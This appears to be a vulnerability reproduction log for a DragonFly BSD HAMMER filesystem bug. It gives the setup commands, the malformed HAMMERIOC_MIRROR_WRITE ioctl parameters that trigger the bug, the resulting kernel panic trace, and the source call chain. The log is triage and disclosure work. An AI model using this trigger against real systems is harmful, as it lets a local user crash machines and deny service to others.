=== DF-0867 baseline reproduction run (unpatched 6.5-DEVELOPMENT #0 kernel) ===
Command: ssh dfbsd "cd /root/poc/DF-0867 && ./trigger /mnt/df0867/target"
Setup: truncate 2G image -> vnconfig -> newfs_hammer -f -> mount_hammer -> touch target
Trigger: HAMMERIOC_MIRROR_WRITE with a single HAMMER_MREC_TYPE_REC record carrying
         leaf.base.rec_type = 0x0002 (unhandled by hammer_alloc_data switch) and
         leaf.data_len = 16 (>0, so the allocator is entered).

[ trigger stdout (the ioctl never returns; kernel panics inside hammer_alloc_data) ]
[*] issuing HAMMERIOC_MIRROR_WRITE on /mnt/df0867/target (rec_type=0x0002 data_len=16)
[*] expected: kernel panic 'rec_type 0002 unknown' in hammer_alloc_data
<< ssh session dies here (Connection closed / timeout) >>

ssh exit = 124 (timeout) ; vm.sh status => down

=== serial console (dfbsd-qemu/boot.log) — the panic signature ===
panic: hammer_alloc_data: rec_type 0002 unknown
cpuid = 0
Trace beginning at frame 0xfffff80117f59138
hammer_alloc_data() at hammer_alloc_data+0x184 0xffffffff8094ae44
hammer_alloc_data() at hammer_alloc_data+0x184 0xffffffff8094ae44
hammer_create_at_cursor() at hammer_create_at_cursor+0xf0 0xffffffff809437f0
hammer_ioc_mirror_write() at hammer_ioc_mirror_write+0x3f8 0xffffffff809402d8
hammer_ioctl() at hammer_ioctl+0xebe 0xffffffff8093ecce
hammer_vop_ioctl() at hammer_vop_ioctl+0x48 0xffffffff80958978
Debugger("panic")
Stopped at      Debugger+0x7c:  movb    $0,0xbdaf09(%rip)
db>

=== call chain confirmation ===
The stack matches the finding's cited path exactly:
  hammer_vop_ioctl            (sys/vfs/hammer/hammer_vnops.c)
  -> hammer_ioctl             (sys/vfs/hammer/hammer_ioctl.c:72 caps_priv_check,
                              :169 HAMMERIOC_MIRROR_WRITE)
  -> hammer_ioc_mirror_write  (sys/vfs/hammer/hammer_mirror.c:330)
  -> hammer_ioc_mirror_write_rec (:566; validates data_len at :575-579 but NOT rec_type)
  -> hammer_create_at_cursor  (sys/vfs/hammer/hammer_object.c:2274; calls
                              hammer_alloc_data at :2299 with leaf->base.rec_type)
  -> hammer_alloc_data        (sys/vfs/hammer/hammer_ondisk.c:1634; switch at :1646
                              has no case for rec_type=0x0002; default at :1669
                              -> hpanic("rec_type %04x unknown") -> panic)

RESULT: REPRODUCED, impact=dos (memory-safe kernel panic; no write primitive).